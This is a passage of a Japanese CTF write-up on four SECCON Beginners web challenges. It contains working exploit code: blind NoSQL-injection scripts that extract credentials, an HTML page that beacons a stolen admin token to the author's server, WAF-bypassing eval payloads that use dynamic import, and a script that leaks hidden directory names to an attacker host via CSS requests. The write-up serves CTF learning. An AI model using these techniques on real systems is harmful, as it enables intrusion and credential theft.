では、具体的にどのようにしてユーザ名やパスワードのハッシュ値を手に入れるか。MongoDBには $regex という便利な演算子があり、これで指定した正規表現にマッチしているかどうかをチェックさせることができる。ユーザ名に {"$regex":"^a.*"} のようなクエリを仕込んでおき、もしマッチする(a から始まるユーザがいる)ユーザがいれば "DO NOT CHEATING" と返ってくるし、もしマッチしなければ "Invalid Credential" と返ってくるだろう。

そういうわけで、まずは $regex によってユーザ名を抽出してみる。ユーザ名は string.printable から構成されると assert からわかっているので、これを使って1文字ずつブルートフォースで特定していく。

import string
import time
import httpx

with httpx.Client(base_url='https://double-leaks.beginners.seccon.games') as client:
    # leak length of username
    l = 0
    while True:
        r = client.post('/login', json={
            'username': { '$regex': '^.{' + str(l) + '}$' },
            'password_hash': { '$ne': 'poyo' }
        })
        if 'DO NOT CHEATING' in r.text:
            break
        l += 1
    print(f'{l=}')
    
    # leak username
    username = ''
    for i in range(l):
        for c in string.printable:
            r = client.post('/login', json={
                'username': { '$regex': '^' + username + c },
                'password_hash': { '$ne': 'poyo' }
            })
            if 'DO NOT CHEATING' in r.text:
                username += c
                print(username)
                break
    print(f'{username=}')

実行すると、ADMIN_USERNAMEky0muky0mupur1n であるとわかった。

$ python3 t.py
l=15
k
ky
ky0
ky0m
ky0mu
ky0muk
ky0muky
ky0muky0
ky0muky0m
ky0muky0mu
ky0muky0mup
ky0muky0mupu
ky0muky0mupur
ky0muky0mupur1
ky0muky0mupur1n
username='ky0muky0mupur1n'

次はパスワードのハッシュ値を特定していきたいが、今度は waf 関数によって $regex の使用がブロックされてしまっている。ほかに有用な演算子がないか探すと、$gt 演算子が見つかった。これは指定した値よりも大きな値を持つかを確認できる演算子だけれども、数値だけでなく文字列にも対応している。

パスワードのハッシュ値が cdef である場合を考える。このとき、cdef > azzz だし cdef > bzzz だが、cdef > czzz ではない。こういう感じで1文字ずつブルートフォースしていき、クエリの結果の変化を観測していけばよさそうだ。

先ほどのスクリプトに、次のような処理を付け加える。

    # leak password
    l = 64
    password = ''
    t = '0123456789abcdef'

    for j in range(l - len(password)):
        for i, c in enumerate(t):
            time.sleep(.1)

            tmp = password + c
            r = client.post('/login', json={
                'username': username,
                'password_hash': { '$gt': tmp.ljust(l, 'z') }
            })
            if 'DO NOT CHEATING' not in r.text:
                password += c
                print(password)
                break
    print(f'{password=}')

    # done!
    r = client.post('/login', json={
        'username': username,
        'password_hash': password
    })
    print(r.text)

実行すると、フラグが得られた。

$ python3 t.py
…
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff3
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a
password='d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a'
{"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}
ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}

[Web 98] wooorker2 (106 solves)

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

(URL)

添付ファイル: wooorker2.tar.gz

タグ: author:yuasa, medium

問題の概要

wooorkerの続きらしい。diff -ru ../../wooorker/wooorker/ . というようなコマンドを実行し、ソースコードにどのような変更が加えられたかを確認する。重要な変更点は次の通り。トークンがクエリパラメータでなくフラグメント識別子でやりとりされるようになったらしい。フラグメント識別子はサーバ側には渡されないので、先ほどの解法では解けない。

diff -ru ../../wooorker/wooorker/app/public/flag.js ./app/public/flag.js
--- ../../wooorker/wooorker/app/public/flag.js    1995-11-12 08:06:09.000000000 +0900
+++ ./app/public/flag.js  1995-11-12 08:06:09.000000000 +0900
@@ -1,5 +1,5 @@
 document.addEventListener('DOMContentLoaded', async() => {
-    const token = new URLSearchParams(window.location.search).get('token');
+    const token = location.hash.split('=')[1];
     if (!token) {
         document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>";
         return;
diff -ru ../../wooorker/wooorker/app/public/main.js ./app/public/main.js
--- ../../wooorker/wooorker/app/public/main.js    1995-11-12 08:06:09.000000000 +0900
+++ ./app/public/main.js  1995-11-12 08:06:09.000000000 +0900
@@ -19,9 +19,9 @@
         const next = params.get('next');
 
         if (next) {
-            window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
+            window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
         } else {
-            window.location.href = `/?token=${token}`;
+            window.location.href = `/#token=${token}`;
         }
     }
 };

解く

フラグメント識別子はサーバ側からは参照できないけれども、クライアント側のJavaScriptからであれば location.hash から参照できる。login?next=https://example.com/ からログインした場合、https://example.com/#token=… へ遷移されるはずだけれども、このとき https://example.com/ から location.hash を参照すると、その中身は #token=… というような文字列になっており、トークンが得られるはずだ。

ngrokを使うなりVPSを使うなりして、外部からアクセスできるような自分の管理するサーバを用意する。ここで、次のようにして location.hash を取得するようなHTMLを用意し、python3 -m http.server なり php -S 0.0.0.0:8000 なり、なんでもよいのでWebサーバを立ち上げてホストする。

$ cat a.html
<script>
navigator.sendBeacon('/log.phg?' + location.hash.slice(1));
</script>
$ php -S 0.0.0.0:8000
…

login?next=(用意したWebサーバのURL) をレポートすると、次のように admin がトークンを背負ってやってきた。

…
[Sun Jun 16 10:46:52 2024] … [404]: POST /log.phg?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTAyNDEzLCJleHAiOjE3MTg1MDYwMTN9.YISPIm61TlzQ2xC7U8AmHF17Ygj8oKJUfPNuqV6s-ls - No such file or directory
…

このトークンを使って /#token=(窃取したトークン) にアクセスすると、フラグが得られた。

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

[Web 174] flagAlias (28 solves)

以下のコマンドを実行して、問題サーバのURLを取得してください。

(問題サーバへの接続情報)

実行すると hashcash -mb26 <RANDOM ID>hashcash token: という表示が出ます。 <RANDOM ID> の部分は毎回変わります。
hashcash コマンドを使用して hashcash -mb26 <RANDOM ID> を実行し、 hashcash token: の部分に入力してください。すると、問題サーバのURLと認証情報が表示されます。

添付ファイル: flagAlias.tar.gz

タグ: author:xryuseix, medium

問題の概要

与えられたURLにアクセスすると、次のようなフォームが表示された。

とりあえずプレースホルダーとして入力されているJSコードをそのまま送信してみる。すると、次のような配列が返ってきた。なるほど、その3つ目の要素に入っている配列の、1つ目の要素にこのJSコードの実行結果が入っているらしい。

ソースコードを確認する。docker-compose.yaml は次の通り。

services:
  app:
    build: ./app
    restart: always
    environment:
      - PORT=8080

  nginx:
    build: ./nginx
    restart: always
    ports:
      - "8080:80"
    links:
      - app
    depends_on:
      - app

nginx はこれまでとほぼ同じなのでスキップして app を見ていく。Dockerfile は次の通り。どうやらDenoというJSランタイムを使っているようだ。

FROM denoland/deno:alpine-1.42.0

WORKDIR /app

ENV PATH="/root/.deno/bin:$PATH"

COPY . .

RUN adduser -D ctf4b
USER ctf4b

CMD ["deno", "task", "run"]

deno task というサブコマンドについて調べると、どうやら deno.json または deno.jsonc という設定ファイルの、tasks という項目から対応するタスクを持ってきて、それをOSコマンドとして実行してくれるらしい。

deno.jsonc は次の通り。main.ts を実行する単純な作りになっている。ここで --allow-sys, --allow-net, --allow-env というオプションが付与されているが、これらはいずれもDenoのパーミッションに関連するものだ。デフォルトではファイルの読み書きや環境変数へのアクセスといったことができないが、これらのオプションを付与することでオプトイン的にそれらの制限されている機能を使えるようになる。この場合は、Deno.osRelease のようなOS情報を取得できるAPIの利用、ネットワークアクセス、環境変数へのアクセスをそれぞれ許可している。

{
  "tasks": {
    // DO NOT USE --allow-read flag
    "run": "DENO_NO_PROMPT=1 deno run --allow-sys --allow-net --allow-env main.ts"
  }
}

main.ts を見ていく。非常にシンプルな作りだ。まず、HTTPサーバの部分は次のとおり。ユーザから受け取ったJSONについて、その alias というプロパティ(つまり、フォームで入力されたJSコードだ)をそのまま chall という関数へ渡し、その返り値をレスポンスとして返している。

// …
const handler = async (request: Request): Promise<Response> => {
  try {
    const body = JSON.parse(await request.text());
    const alias = body?.alias;
    return new Response(await chall(alias), { status: 200 });
  } catch (_) {
    return new Response('{"error": "Internal Server Error"}', { status: 500 });
  }
};

if(Deno.version.deno !== "1.42.0"){
  console.log("Please use deno 1.42.0");
  Deno.exit(1);
}
const port = Number(Deno.env.get("PORT")) || 3000;
Deno.serve({ port }, handler);

chall の実装は次の通り。ユーザから与えられたコードに eval やら Deno やら変なものが含まれていないか確認した上で eval している。ダミーのフラグは flag.ts に含まれる関数で生成しているらしい。

import * as flag from "./flag.ts";

function waf(key: string) {
  // Wonderful WAF :)
  const ngWords = [
    "eval",
    "Object",
    "proto",
    "require",
    "Deno",
    "flag",
    "ctf4b",
    "http",
  ];
  for (const word of ngWords) {
    if (key.includes(word)) {
      return "'NG word detected'";
    }
  }
  return key;
}

export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
  const m: { [key: string]: string } = {
    "wonderful flag": "fake{wonderful_fake_flag}",
    "special flag": "fake{special_fake_flag}",
  };
  try {
    // you can set the flag alias as the key
    const key = await eval(waf(alias));
    m[key] = flag.getFakeFlag();
    return JSON.stringify(Object.entries(m), null, 2);
  } catch (e) {
    return e.toString();
  }
}

flag.ts の内容は次の通り。なるほど、getFakeFlag のほかに名前が不明な関数があるらしい。おそらくここに本物のフラグが含まれているのだろう。

export function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() {
  // **REDACTED**
  return "**REDACTED**";
}

export function getFakeFlag() {
  return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}

解く

さて、これでこの問題のゴールは flag.ts に含まれる関数の実装を知ることであるとわかった。一部NGワードはありつつも eval でほぼ任意のJSコードが実行できるわけだが、なんとかならないだろうか。

まず Deno.readTextFile のようなAPIを使って flag.ts の読み込みができないかと考えるが、ドキュメント中にも "Requires allow-read permission" とあるように、テキストファイルとしての読み込みは --allow-read オプションが付与されていなければ不可能だ。

ではJS(TS)ファイルとしての読み込みであれば、allow-read のパーミッションがなくとも呼び出せるのではないかと考える。ただ、import "./flag.ts" のようにしてもNGワード(flag)に引っかかってしまうし、import "./fl"+"ag.ts" のように文字列を分割してNGワードを回避しようにも文法的に許されていない。そもそも import 文でのモジュールのインポートは "Cannot use import statement outside a module" と怒られてしまう。

しかしながら、JavaScriptにはdynamic importという仕組みがあり、たとえば import('test').then(r => { … }) のように関数呼び出しのような形でモジュールを読み込むことができる。こちらであれば import 文を使おうとしてぶつかった2つの制約もないはずだ。試しに import('./fl'+'ag.ts') を入力してみると、"Cannot convert object to primitive value" というようなエラーメッセージが出た。import 自体が怒られているわけではないようだ。

さて、このモジュールに含まれる関数の一覧が知りたい。Object.keysが楽な方法だが、Object がNGワードに含まれてしまっている。けれども、適当なオブジェクトの constructor プロパティを参照すれば Object が取り出せるだろう。const o='construc'+'tor'; ({})[o].keysObject.keys を取り出すことができた。

これを利用して、次のようなコードで getRealFlag_yUC2BwCtXEkg という関数が存在していることがわかった。

(async () => {
    const o='construc'+'tor';
    const k = ({})[o].keys;
    return k(await import('./fl'+'ag.ts'));
})()

あとは getRealFlag_yUC2BwCtXEkg の定義を取り出すだけだ。次のようにして関数を無理やり文字列化してやると、コメント中にフラグが含まれていた。

(async () => {
    const o='construc'+'tor';
    const k = ({})[o].keys;
    return (await import('./fl'+'ag.ts')).getRealFlag_yUC2BwCtXEkg + '';
})()

ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}

[Web 290] htmls (9 solves)

HTMLファイルからlsコマンドを叩ける?

(URL)

※負荷軽減のためリクエストにはレート制限がかかっています。総当たりは不要です。サーバはリセットされることがあります。

添付ファイル: htmls.tar.gz

タグ: author:Satoki, hard

問題の概要

与えられたURLにアクセスすると、次のようにHTMLの入力を促された。適当なHTMLを送信してみると、BotがそのHTMLを閲覧したというメッセージが表示される。そうですか。

ソースコードを見ていく。docker-compose.yml は次の通り。

services:
  uwsgi:
    build: ./crawler
    environment:
      TZ: "Asia/Tokyo"
    expose:
      - "7777"
    restart: always
  nginx:
    build: ./nginx
    links:
      - uwsgi
    ports:
      - "31417:80"
    environment:
      TZ: "Asia/Tokyo"
    restart: always

nginx はスキップして uwsgi を見ていく。Dockerfile は次の通り。make_flag.sh の実行後にuWSGIを実行している。

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get -y update && apt-get -y upgrade
RUN apt-get -y install bash\
                       python3 \
                       python3-pip \
                       libdrm2 \
                       libgbm1 \
                       libnss3 \
                       libnspr4 \
                       libasound2 \
                       libgtk-3-0 \
                       libx11-xcb1

RUN mkdir -p /var/www/htmls
WORKDIR /var/www
COPY ./ ./

RUN pip3 install -r requirements.txt
ENV LANG C.UTF-8

RUN chmod 755 -R /var/www
RUN chmod 777 /var/www/htmls

RUN adduser -u 1000 htmls
USER htmls

RUN mkdir /var/www/htmls/ctf

RUN playwright install

CMD bash -c "./make_flag.sh && uwsgi --ini /var/www/uwsgi.ini"

make_flag.sh の内容は次の通り。/var/www/htmls/ctf 下に、ランダムな深さで n/3/k/0/…/ というようにランダムな名前のディレクトリを作成し、そこに flag.txt というファイル名でフラグを置いているようだ。なお、ディレクトリ名は 0-9a-z の36種類だ。

#!/bin/bash

rm -rf /var/www/htmls/ctf/*

base_path="/var/www/htmls/ctf/"

depth=$((RANDOM % 10 + 15))

current_path="$base_path"

for i in $(seq 1 $depth); do
  char=$(printf "%d" $((RANDOM % 36)))
  if [[ $char -lt 26 ]]; then
    char=$(printf "\\$(printf "%03o" $((char + 97)) )")
  else
    char=$(printf "%d" $((char - 26)))
  fi
  current_path+="${char}/"
  mkdir -p "$current_path"
done

echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"

uwsgi.iniwsgi-file として指定されている capp.py の内容は次の通り。非常にシンプルで、先ほど表示されていた「HTMLファイルをBotが閲覧」するというのは、ランダムなファイル名で入力されたHTMLを保存し、Chromiumが file:// スキームでそのHTMLにアクセスするということだったらしい。ただし、await browser.new_context(java_script_enabled=False) とされていることからわかるように、JSは無効化されている。

/flag/<path:flag_path> というルートもあるけれども、これは指定したディレクトリの flag.txt を返すものだ。このAPIを叩く前に make_flags.sh によって生成されたディレクトリを完全に特定する必要がある。

import os
import uuid
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, send_from_directory, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index_get():
    return render_template("index.html")


async def crawl(filename):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        context = await browser.new_context(java_script_enabled=False)
        page = await context.new_page()
        await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000)
        await browser.close()


@app.route("/", methods=["POST"])
def index_post():
    try:
        html = request.form.get("html")
        filename = f"{uuid.uuid4()}.html"
        with open(f"htmls/{filename}", "w+") as f:
            f.write(html)
        asyncio.run(crawl(f"{filename}"))
        os.remove(f"htmls/{filename}")
    except:
        pass
    return render_template("ok.html")


@app.route("/flag/<path:flag_path>")
def flag(flag_path):
    return send_from_directory("htmls/ctf/", os.path.join(flag_path, "flag.txt"))


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31417)

解く

ここまでで、この問題のゴールはランダムに生成された n/3/k/0/… のような各ディレクトリの名前を特定することだとわかった。ローカルのディレクトリが存在していることをJSなしで知る方法はあるだろうか。それができれば、1階層ずつブルートフォースで特定していくことができるけれども。

Chromiumでは、file:// スキームでディレクトリにアクセスすると、次のようにファイルやディレクトリの一覧が表示される。

<iframe src="/tmp/tmpspace.rVGKimBgZx/b/"></iframe> のように iframe で表示させることもできる。

もちろん、指定したパスでファイルやディレクトリが存在しなければ次のようにエラーメッセージが表示される。

iframe で存在しないファイルやディレクトリを表示させようとした場合も、もちろん次のように怒られが発生する。

では、これらの挙動をもとに、JSを使わず、あるパスにファイルやディレクトリが存在するかどうかを判別することはできるだろうか。iframe のようにHTMLを埋め込むことのできる要素で読み込みが失敗した際に、フォールバックコンテンツが表示されるような仕組みはないだろうかと考えた。そこでまず思いついたのが object 要素だった。

b というディレクトリが存在しており、ac というディレクトリは存在していない状況で、次のような a.html というHTMLファイルがあるとする。

<object data="a">a</object>
<object data="b">b</object>
<object data="c">c</object>

Chromiumで開いてやると、2つ目の object 要素以外ではそれぞれフォールバックコンテンツである ac というテキストが表示されていることがわかる。これらの違いを活用できないか。

まず、<object data="b"><img src=https://example.com?b></object> のようにフォールバックコンテンツとして img 要素を使う方法を思いついた。しかしながら、実際にはディレクトリが存在している場合にも src 属性で指定しているURLへのリクエストが飛んでしまっていた。

では、次のようにCSS経由で画像へのリクエストが行われるような場合はどうかと考えた。今度はうまくいき、https://example.com?b へのリクエストのみが発生しなかった。

<style>
.a { background: url('https://example.com?a'); }
.b { background: url('https://example.com?b'); }
.c { background: url('https://example.com?c'); }
</style>
<object data="a"><div class="a"></div></object>
<object data="b"><div class="b"></div></object>
<object data="c"><div class="c"></div></object>

これを1階層ずつのブルートフォースに利用していく。ランダムに生成された各ディレクトリ名は36通りであるから、そのすべてを object 要素の data 属性で指定し、またフォールバックコンテンツで表示される背景画像もそれぞれユニークなものにする。その中で唯一リクエストが発生しなかった背景画像に対応するディレクトリ名が正解だ。ということで、自動でペイロードの生成等をやってくれるスクリプトを書こう。

import string
import threading
import time
import httpx
from flask import Flask, send_from_directory, render_template, request

CHALL_HOST = 'https://htmls.beginners.seccon.games/'
ATTACKER_HOST = 'http://example.com:8000/'

app = Flask(__name__)

table = set(string.digits + string.ascii_lowercase)

known = ''
def go():
    while True:
        with httpx.Client(base_url=CHALL_HOST) as client:
            test = ''
            t = list(string.digits + string.ascii_lowercase)

            test += '<style>'
            for c in t:
                test += f".a{c} {{ background: url('{ATTACKER_HOST}x/{c}') }}"
            test += '</style>'

            for c in t:
                test += f'''<object data="file:///var/www/htmls/ctf/{known}{c}"><div class="a{c}"></div></object>'''

            r = client.post('/', data={ 'html': test })
            if '503' not in r.text:
                break

            time.sleep(5)

def get_flag():
    with httpx.Client(base_url=CHALL_HOST) as client:
        r = client.get(f'/flag/{known}')
        print('[flag]', r.text)

def reset():
    global table
    table = set(string.digits + string.ascii_lowercase)

def done():
    global known
    if len(table) == 0:
        # いずれも当たらず。攻撃終了
        print('[done]', known)
        get_flag()
    else:
        # 当たった
        known += table.pop() + '/'
        print(f'{known=}')
        reset()
        go()

@app.route("/x/<c>", methods=["GET"])
def x(c):
    table.discard(c)
    if len(table) == 1:
        timer = threading.Timer(3, done)
        timer.start()
    return 'ok'

@app.route("/start", methods=['GET'])
def start():
    go()
    return 'ok'

app.run(host="0.0.0.0", port=8000, debug=True)

このスクリプトを実行し、Webサーバが立ち上がったら /start を叩いて攻撃を開始させる。すると、自動で1個ずつディレクトリを特定していき、最後にはフラグを取得してくれる。

$ python3 s.py
…
[done] q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/l/
[flag] ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}
ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}

*1:最後にwooorkerを残していたが、クローラのキューが詰まっていたようでbotによるクロールに時間がかかり、ようやく処理されたのは18時半ごろだった。17時にはwooorker以外の問題は解けており、またwooorkerもローカルでは攻撃に成功していたので「実質」3時間とした

*2:ここでエラーメッセージは "Detected LFI ;(" とされているが、ローカルファイルを読めるだけでLFI(Local File Inclusion)とは個人的には呼びたくない。LFIとは、たとえばPHPにおけるincludeやrequire相当の機能が利用されている場面において、引数がユーザによってコントロールできてしまうような状況(CWE-98)をよぶのだと考えている。もっとも、PHPではファイルが読めるだけの状況と、PHPコードとしての実行までできてしまっている状況とを区別する必要があり、したがってLFIとそれ以外を呼び分ける必要性もあるが、今回の問題のようにそれ以外の言語ではそういった必要性はないのでは? と言われると、そうですね…としか言えない